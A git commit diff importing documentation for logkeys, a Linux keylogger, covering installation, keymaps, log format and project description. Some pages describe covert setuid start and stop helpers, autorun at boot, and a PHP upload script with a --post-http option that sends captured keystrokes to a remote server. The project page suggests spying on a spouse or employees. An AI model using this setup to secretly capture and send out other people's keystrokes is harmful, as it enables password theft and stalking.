Updated docs.

- converted README to GitHub markup
- imported googlecode wiki pages into docs folder
- added build directory for out-of-tree builds
- updated TODOs

INSTALL

@@ -2,21 +2,21 @@
  logkeys keylogger - instalation instructions
 ===============================================================================
 
-Provided your GNU/Linux distribution doesn't include logkeys package in its
-repositories, manual installation of logkeys from source is as easy as:
+Provided your GNU/Linux distribution doesn't include logkeys package
+in its repositories, manual installation of logkeys from source is as
+easy as cloning this repo or [downloading a zip of the
+source](https://github.com/kernc/logkeys/archive/master.zip),
+unzipping, and building:
 
- $ tar xvzf logkeys-0.1.1.tar.gz   # to extract the logkeys archive
- 
- $ cd logkeys-0.1.1/build  # move to build directory to build there
- $ ../configure            # invoke configure from parent directory
- $ make                    # make compiles what it needs to compile
- ( become superuser now )  # you need root to install in system dir
- # make install            # installs binaries, manuals and scripts
+    $ unzip logkeys-master.zip
+    $ cd logkeys-master/build
+    $ ../configure
+    $ make
+    $ su               # get root to install in system
+    $ make install     # installs binaries, manuals and scripts
 
-That's it. 
+To uninstall logkeys, remove accompanying scripts and manuals:
 
-To ever uninstall logkeys, remove accompanying scripts and manuals, issue
-
- # make uninstall    # in the same logkeys-0.1.1/build dir from before
+    # make uninstall    # in the same src dir
 
 See README file for usage instructions, troubleshooting and other notes.

TODO

+-> Add automated testing scripts to verify behaviour and operation
+
+-> Clean up imported docs in "./docs", remove redundant docs
 
 -> Add support for sending logs via mail
 

build/.gitignore

+# Ignore everything in this directory,
+# but this directory should be available on checkout.
+
+*
+
+# Don't ignore this file
+!.gitignore
\ No newline at end of file

docs/Documentation.md

+![warning](./docs_warning.png)
+
+# License #
+logkeys is dual licensed under the terms of either [GNU GPLv3](http://www.gnu.org/licenses/gpl-3.0.html) or later (required by Google), or [WTFPLv2](http://sam.zoy.org/wtfpl/) or later. Pick whichever you prefer!
+
+# Installation #
+
+If you have ever installed a Linux program from source, then you should have no trouble installing logkeys.
+
+If you haven't installed from source yet, it is likely you are missing a C++ compiler installed.
+Before proceeding please ensure you have **g++** and "similarly trivial tools" ready.
+```
+$ sudo apt-get install g++    # to install g++ on a Debian-based OS
+```
+Proceed with
+```
+$ tar xvzf logkeys-0.1.1a.tar.gz     # to extract the logkeys archive
+ 
+$ cd logkeys-0.1.1a/build    # move to build directory to build there
+$ ../configure               # invoke configure from parent directory
+$ make                       # make compiles what it needs to compile
+( become superuser now )     # you need root to install in system dir
+$ make install               # installs binaries, manuals and scripts
+```
+If you run on any errors during configure stage, your machine must be in a very poor shape. Before installing please confirm that you have a 2.6 branch of Linux kernel, and standard command line utilities such as **ps**, **grep**, and especially **dumpkeys**.
+
+logkeys relies on **dumpkeys** to output at least half correct keysym bindings. For this to be true, you have to set your console keymap. If you have keyboard correctly set to your language in X, **verify that the same characters appear on a virtual terminal** (Ctrl+Alt+Fn) **also**.
+
+[How to set console keymap?](http://www.google.com/search?q=how+to+set+console+keymap)
+
+logkeys also relies on en\_US.UTF-8 locale being present on the system, or any other language using UTF-8. You can confirm you are using UTF-8 locale, if you say
+```bash
+
+$ locale -a
+C
+...
+en_US.utf8
+...
+$ locale
+LANG=en_US.UTF-8
+LC_CTYPE="en_US.UTF-8"
+...
+```
+If `locale -a` does not return among others the result en\_US.UTF-8 and if LC\_CTYPE environmental variable doesn't contain UTF-8, then logkeys may not work correctly.
+
+If that is the case use either `locale-gen` or install/reconfigure your distribution's locales package, and there include en\_US.UTF-8.
+```
+$ apropos locale
+```
+
+# Usage how-to #
+
+logkeys is simple. You can either invoke it directly, by typing full command line, or use the provided scripts. There are two helper programs in this package:
+
+  * bin/llk  , which is intended to start the logkeys daemon, and
+  * bin/llkk , which is intended to kill it.
+
+bin/llk runs **_etc/logkeys-start.sh_**, and bin/llkk runs **_etc/logkeys-kill.sh_**.
+
+You can use these two **setuid root** programs (**llk** and **llkk**) for starting and stopping the keylogger quickly and covertly. You can modify the two .sh scripts as you like. As the programs are installed with setuid bit set, the root password need not be provided at their runtime.
+
+Default log file is /var/log/logkeys.log and is not readable by others.
+
+I suggest you first test the program manually with
+```
+ $ touch test.log
+ $ logkeys --start --output test.log
+```
+and in the other terminal follow it with
+```
+ $ tail --follow test.log
+```
+and see if the pressed keys match to those noted. If you use a US keyboard layout, use -u switch. Make sure your terminal character locale is set to UTF-8
+```
+ $ locale
+ LANG=xx_YY.UTF-8
+ LC_CTYPE="xx_YY.UTF-8"
+ ...
+```
+or alternatively, you need en\_US.UTF-8 locale available on your system
+```
+ $ locale -a
+ ...
+ en_US.UTF-8
+ ...
+```
+otherwise you may only see odd characters (like ꑶ etc.) when pressing character keys.
+
+logkeys acts as a daemon, and you stop the running logger process with
+```
+ $ logkeys --kill
+```
+(or bin/llkk provided script).
+
+Before using logkeys, please read the manual page first.
+```
+ $ man logkeys
+```
+
+## Autorun at system start ##
+If you want logkeys to autorun when your OS boots, you have several options.
+You can edit _/etc/rc.local_ (or _/etc/rc.d/rc.local_) file and add logkeys execution line before the final `exit 0` call, e.g.
+```
+#!/bin/sh -e
+#
+# rc.local
+#
+logkeys --start --keymap=/home/I/custom_key.map --output=/home/I/custom.log --device=event4
+exit 0
+```
+Alternatively, you can put your custom "logkeys execution line" into _etc/logkeys-start.sh_ file, and then use your desktop's "autorun manager" to run _llk_ program, which will then execute said _logkeys-start.sh_ script without prompting you for root/sudo password.
+
+logkeys will automatically terminate on shutdown.
+
+# Troubleshooting #
+
+## Empty log file or 'Couldn't determine keyboard device' error ##
+After you run logkeys successfully, if you open the log file and see only the 'Logging started...' and 'Logging stopped...' tag without any keypress "contents," it is very likely that logkeys got your device id wrong.
+
+This may also apply if you get the following error:
+```
+  logkeys: Couldn't determine keyboard device. :/
+```
+
+The solution is to determine the correct event device id, and then run logkeys with <b>--device</b> (-d) switch, specifying that device manually.
+
+The procedure for manually learning the device id to use is as follows:
+
+As root, for each existing device <i>eventX</i> in <i>/dev/input/</i>, where X is a number between 0 and 31 inclusively, write `$ cat /dev/input/eventX`, and then type some arbitrary characters. If you <b>see any output</b>, that is the <b>device to be used</b>. If you don't see any output, press Ctrl+C and continue with the next device.
+
+If this happened to be your issue, please checkout the latest version from the repository where keyboard recognition is relatively better implemented. If error persists, please [add an issue](https://github.com/kernc/logkeys/issues), attaching your <i>/proc/bus/input/devices</i> file as well as specifying the correct event id.
+
+
+## Logkeys outputs wrong characters ##
+
+It is very likely that you will see only some characters recognized, without any hope for Shift and AltGr working even slightly correct, especially when starting logkeys in X. In that case it is better to switch to virtual terminal, e.g. tty4 (Ctrl+Alt+F4), and there execute:
+
+```
+ $ logkeys --export-keymap=my_lang.map
+```
+
+Then open _my\_lang.map_ in UTF-8 enabled text editor and manually repair any missing or incorrectly determined mappings. Character keys are defined with two to three space-delimited characters per line (first without modifiers, second with shift, third with AltGr), and function keys are strings of **at most** 7 characters.
+
+Make sure your customized keymap follows the [logkeys keymap format specification](Keymaps.md#format).
+
+From then on, execute logkeys with **--keymap** switch, e.g.
+
+```
+ $ logkeys --start --keymap my_lang.map
+```
+
+Again, see if it now works correctly (and character keys appear correct when you are viewing the log file in editor), and opt to modify _bin/llk_ starter script.
+
+If you create full and completely valid keymap for your particular
+language, please [upload it as a new
+issue](https://github.com/kernc/logkeys/issues).
+
+Some languages may already have keymaps available; check the [keymaps directory](../keymaps/).
+
+# Known bugs and limitations #
+
+Please report all found bugs on the [issues tracking page](https://github.com/kernc/logkeys/issues).
+
+# Planned features (roadmap) #
+
+TODO file provided with release currently holds following requests:
+
+* Add support for sending logs via email.
+* Optionally log title of the focused window.
+* Capture clipboard contents.
+* Add support for mouse events (i.e. on mouse click the focus may have changed).
+
+If you have time on your hands and the required interest, you are welcome to hack at any of those or completely other features yourself, and submit a PR.

docs/Keymaps.md

+![warning](./docs_warning.png)
+
+# Keymaps
+
+If neither **--us-keymap** switch nor **--keymap** switch are used, then logkeys determines the keymap automatically with the help of **dumpkeys** command. For it to work even slightly reliably (mapping correct character), [console kernel keymap needs to be set](Documentation#Installation.md).
+
+If you are using US layout keyboard and need default US keymap, run logkeys with **--us-keymap** switch.
+
+## Existing keymaps
+
+Some keymaps have been committed in this repo.  See the [keymaps directory](../keymaps).
+
+Be aware that using the keymap that matches your keyboard layout doesn't necessarily mean that all keys are covered or that the characters match to those that you type in – the keymap used by your system (loaded by **loadkeys** command for console, and **setxkbmap** command for X) may be set completely arbitrarily. In most cases, though, these should work fine.
+
+## Creating keymaps
+
+You can easily create keymaps for your layout by taking one example and then modifying it with the help of a keyboard layout tool (e.g., see the following [example layout tool from Microsoft](http://msdn.microsoft.com/en-us/goglobal/bb964651.aspx)).  If you create a keymap, please upload it as a [new issue](https://github.com/kernc/logkeys/issues).
+
+## Format
+
+The keymap file is expected to be UTF-8 encoded.
+
+Each line of file represents either one character key or one function
+key.  The format specifies at least two and up to three
+space-delimited characters on character key lines (first character
+without modifiers, second with Shift in action, optional third with
+AltGr in action), and up to 7 characters long string on function key
+lines.
+
+For example, Slovene or Croatian keymap would look like this (line
+numbers are added for convenience only):
+
+```
+  1: <Esc>
+  2: 1 ! ~
+  3: 2 " ˇ
+  4: 3 # ^
+  5: 4 $ ˘
+  6: 5 % °
+  7: 6 &amp; ˛
+  8: 7 / `
+  9: 8 ( ˙
+ 10: 9 ) ´
+ 11: 0 = ˝
+ 12: ' ? ¨
+ 13: + * ¸
+ 14: <BckSp>
+ 15: <Tab>
+ 16: q Q \
+ 17: w W |
+ 18: e E €
+ 19: r R
+ 20: t T
+ 21: z Z
+ 22: u U
+ 23: i I
+ 24: o O
+ 25: p P
+ 26: š Š ÷
+ 27: đ Đ ×
+ 28: <Enter>
+ 29: <LCtrl>
+ 30: a A
+ 31: s S
+ 32: d D
+ 33: f F [
+ 34: g G ]
+ 35: h H
+ 36: j J
+ 37: k K ł
+ 38: l L Ł
+ 39: č Č
+ 40: ć Ć ß
+ 41: ¸ ¨
+ 42: <LShft>
+ 43: ž Ž ¤
+ 44: y Y
+ 45: x X
+ 46: c C
+ 47: v V @
+ 48: b B {
+ 49: n N }
+ 50: m M §
+ 51: , ; <
+ 52: . : >
+ 53: - _
+ 54: <RShft>
+ 55: <KP*>
+ 56: <LAlt>
+ 57:
+ 58: <CpsLk>
+ 59: <F1>
+ 60: <F2>
+ 61: <F3>
+ 62: <F4>
+ 63: <F5>
+ 64: <F6>
+ 65: <F7>
+ 66: <F8>
+ 67: <F9>
+ 68: <F10>
+ 69: <NumLk>
+ 70: <ScrLk>
+ 71: <KP7>
+ 72: <KP8>
+ 73: <KP9>
+ 74: <KP->
+ 75: <KP4>
+ 76: <KP5>
+ 77: <KP6>
+ 78: <KP+>
+ 79: <KP1>
+ 80: <KP2>
+ 81: <KP3>
+ 82: <KP0>
+ 83: <KP.>
+ 84: < >
+ 85: <F11>
+ 86: <F12>
+ 87: <KPEnt>
+ 88: <RCtrl>
+ 89: <KP/>
+ 90: <SysRq>
+ 91: <AltGr>
+ 92: <Break>
+ 93: <Home>
+ 94: <Up>
+ 95: <PgUp>
+ 96: <Left>
+ 97: <Right>
+ 98: <End>
+ 99: <Down>
+100: <PgDn>
+101: <Ins>
+102: <Del>
+103: <Pause>
+104: <LMeta>
+105: <RMeta>
+106: <Menu>
+```
+
+How does one know which lines belong to character keys and which lines to function keys?
+
+Well, the easiest way is to use **--export-keymap**, and examine the exported keymap.
+Make sure you export in a virtual terminal (Ctrl+Alt+Fn) and not in X as this way there is higher chance of more keys getting exported correctly (don't ask me why).
+
+Basically, **--export-keymap** ouputs 106 lines for 106 keys, even if some of those keys
+aren't located on your keyboard. Lines 1, 14, 15, 28, 29, 42, 54-83,  85-106  belong
+to  function keys, all other lines (2-13, 16-27, 30-41, 43-53, 84) belong to character keys.
+
+**Line 57 is reserved for Space** and it should always be ' '. Line 84 is reserved for
+the  key  just  right  to  left Shift that is present on some international layouts.
+Other lines can be quite reliably determined by looking at one exported keymap.  The
+keys generally follow the order of their appearance on keyboard, top-to-bottom left-
+to-right.

docs/Logfiles.md

+![warning](./docs_warning.png)
+
+When no **--ouput** option is given, logkeys logs to default log file `/var/log/logkeys.log`.
+
+# Format #
+
+Log files are UTF-8 encoded.
+
+Each logging session  is  enclosed in "`Logging started...`" and "`Logging stopped at`
+`<timestamp>`" strings. Whenever Enter key (Return key) or Ctrl+C or Ctrl+D combination is  pressed, a timestamp  is appended on a new line (provided **--no-timestamps** is not in effect).
+
+Timestamp format is "%F %T%z", which results in "YYYY-mm-dd HH:MM:SS+ZZZZ". Time‐
+stamp is separated from the logged keys by one '>' symbol.
+
+All character key presses are logged as they appear. All function  key  presses are
+replaced  with  strings as obtained from [keymap file](Keymaps.md), or as hardcoded when no keymap file is provided.
+
+If a key is pressed down long enough so it repeats, it is logged only once and then
+"`<#+DD>`" is appended, which hints the key was repeated DD more times. DD is a decimal figure, which is not to be taken absolutely correct.
+
+If a keypress results in keycode, which is not recognized (i.e. key not found on a standard US or Intl 105-key keyboard), then the string "`<E-XX>`" is appended, where
+XX is the received keycode in hexadecimal format. All  new  "WWW", "E-Mail", "Vol‐
+ume+", "Media", "Help", etc. keys will result in this error string.
+
+Using US keyboard layout, one example log file could look like:
+```
+Logging started ...
+
+2009-12-11 09:58:17+0100 > lkl
+2009-12-11 09:58:20+0100 > sudo cp <RShift>~/foo.<Tab> /usr/bin
+2009-12-11 09:58:26+0100 > <LShift>R00<LShift>T_p455\\/0rD
+2009-12-11 09:58:39+0100 > <Up><Up><Home>sudo
+2009-12-11 09:58:44+0100 > c<#+53><BckSp><#+34><LCtrl>c
+2009-12-11 09:58:54+0100 > lklk
+
+Logging stopped at 2009-12-11 09:58:54+0100
+```
+If the same log was obtained by a logkeys process invoked with **--no-func-keys** option, it would look like:
+```
+Logging started ...
+
+2009-12-11 09:58:17+0100 > lkl
+2009-12-11 09:58:20+0100 > sudo cp ~/foo. /usr/bin
+2009-12-11 09:58:26+0100 > R00T_p455\\/0rD
+2009-12-11 09:58:39+0100 > sudo
+2009-12-11 09:58:44+0100 > c<#+53>c
+2009-12-11 09:58:54+0100 > lklk
+
+Logging stopped at 2009-12-11 09:58:54+0100
+```
+Even when **--no-func-keys** is in effect, Space and Tab key presses are logged as a
+single space character.

docs/PostHTTP.md

+![warning](./docs_warning.png)
+
+# Post to HTTP #
+A sample implementation:
+
+1. Get some [PHP web hosting](http://www.google.com/search?q=free+web+hosting), and get a [domain name](http://www.getfreedomain.name/).
+
+2. Upload the following PHP script, name it "upload.php"
+```
+<?php
+
+if ($_SERVER['REQUEST_METHOD'] == 'POST') {
+  
+  $file = $_FILES['file'];
+  
+  if ($file['error'] === UPLOAD_ERR_OK) 
+    move_uploaded_file($file['tmp_name'], 'new.log');
+}
+
+?>
+```
+
+3. Run logkeys with `--post-http=http://your.doma.in/upload.php` and it will upload log to specified URL every once it reaches `--post-size` in size (default 500KB). Note, the script above will overwrite "new.log" file every time. Also note that once the log is successfully sent, it is wiped from the monitored computer.

docs/ProjectHome.md

+![warning](./docs_warning.png)
+
+# logkeys Linux keylogger #
+
+## Important announcement for Arch Linux users ##
+
+logkeys was having an [issue on Arch Linux where it produced an empty
+log](https://github.com/kernc/logkeys/issues/60). The issue
+is now fixed in the repository (fix found by **bytbox** from the Arch
+Linux community), so if you're on Arch (or you seem to experience this
+issue), please check out the source from GitHub.
+
+## NEWS: logkeys version 0.1.1a (alpha) released ##
+  * fixed 100% CPU issue on x64
+  * various bug fixes
+  * removed pgrep dependency
+  * PID file now in /var/run/
+  * other symlink attack vulnerability fixes
+  * other security fixes
+  * code refactoring
+  * remote log uploading via HTTP
+  * lkl and lklk are now llk and llkk to avoid confusion
+  * llk and llkk are now programs that run logkeys-start.sh/-stop.sh scripts
+  * also recognize "HID" USB keyboard devices
+  * bug fixes
+
+---
+
+### What is logkeys?
+
+**logkeys is a linux keylogger** (GNU/Linux systems only).  It is no
+more advanced than other available linux keyloggers, but is a bit more
+up to date, it doesn't unreliably repeat keys and it should never
+crash your X. All in all, it just seems to work. It relies on event
+interface of the Linux input subsystem. Once set, it logs all common
+character and function keys, while also being fully aware of Shift and
+AltGr key modifiers. **It works with serial as well as USB
+keyboards**.
+
+### What is a keylogger?
+
+Keylogger is a software that quietly monitors keyboard input so as to
+log any keypresses the user makes. Keyloggers can be used by malicious
+attackers to sniff out passwords and other sensitive textual
+information, but often times the user himself (or the corporate
+branch) wants to monitor his computer unattended (or the employees),
+reliably storing any unauthorized keyboard activity for later
+inspection. For example, when you leave your PC just to grab a quick
+bite from the vending machine, you might want to know if anybody was
+touching it while you were gone. Or you could use it to monitor your
+supposedly cheating wife, or young kids while they are surfing the
+web. You could also use it to obtain statistics of your most pressed
+keys in order to create your custom Dvorak-style keyboard (I've seen
+that done). Perhaps you want EVERYTHING you've typed or written in the
+past months archived for ANY purpose... Uses are limitless.
+
+### Are there alternative Linux keyloggers?
+
+There is a plethora of keyloggers for Windows, but not so many for Linux.
+
+On GNU/Linux systems and other reasonable operating systems,
+keyloggers can be easily implemented with a few lines of shell
+code. Novice users, however, are usually limited to a narrow set of
+the following tools:
+
+- [lkl](http://sourceforge.net/projects/lkl/)
+- [uberkey](http://gnu.ethz.ch/linuks.mine.nu/uberkey/)
+- [THC-vlogger](http://freeworld.thc.org/releases.php?q=vlogger), made
+by a renowned group of hackers
+- [PyKeylogger](http://pykeylogger.sourceforge.net/).
+
+All these tools have their pros and cons:
+
+- Lkl sometimes abnormally repeats keys and [its keymap configuration is rather
+awkward](http://www.google.com/search?q=lkl+keymap) for a range of
+users.
+- Uberkey, which is just over a hundred lines of code, also often
+repeats keys and [sometimes makes your mouse move
+abruptly](http://www.google.com/search?q=uberkey+mouse+problem),
+losing any sense of control.
+- PyKeylogger is very feature rich, but only works in an X
+environment.
+- vlogger only logs shell sessions and currently the code does not
+build (on Ubuntu 14.04 at least).
+
+There may be other tools, but logkeys definitely makes a
+simple and competitive addition.
+
+### What keyboards logkeys does work with?
+
+logkeys supports keyboards like on the image below (courtesy of
+SEOConsultants.com). These are standard 101 to 105-key PC keyboards
+with no Asian extensions.
+
+![104-key PC keyboard'](./keyboard.png)
+
+logkeys should also work with serial as well as USB
+keyboards, or similar "HID" devices.
+

man/logkeys.8

@@ -290,10 +290,10 @@ Be nice and hope nothing breaks.
 .PP
 If you come across any bugs, please report them on project website, issues page:
 .IP
-http://code.google.com/p/logkeys/issues/
+https://github.com/kernc/logkeys/issues/
 .SH AUTHOR
 .PP
 logkeys was written by Kernc <kerncece+logkeys@gmail.com> with much help from the community.
 .PP
 You can always obtain the latest version and information at project website:
-<http://code.google.com/p/logkeys/>.
+<https://github.com/kernc/logkeys/issues/>.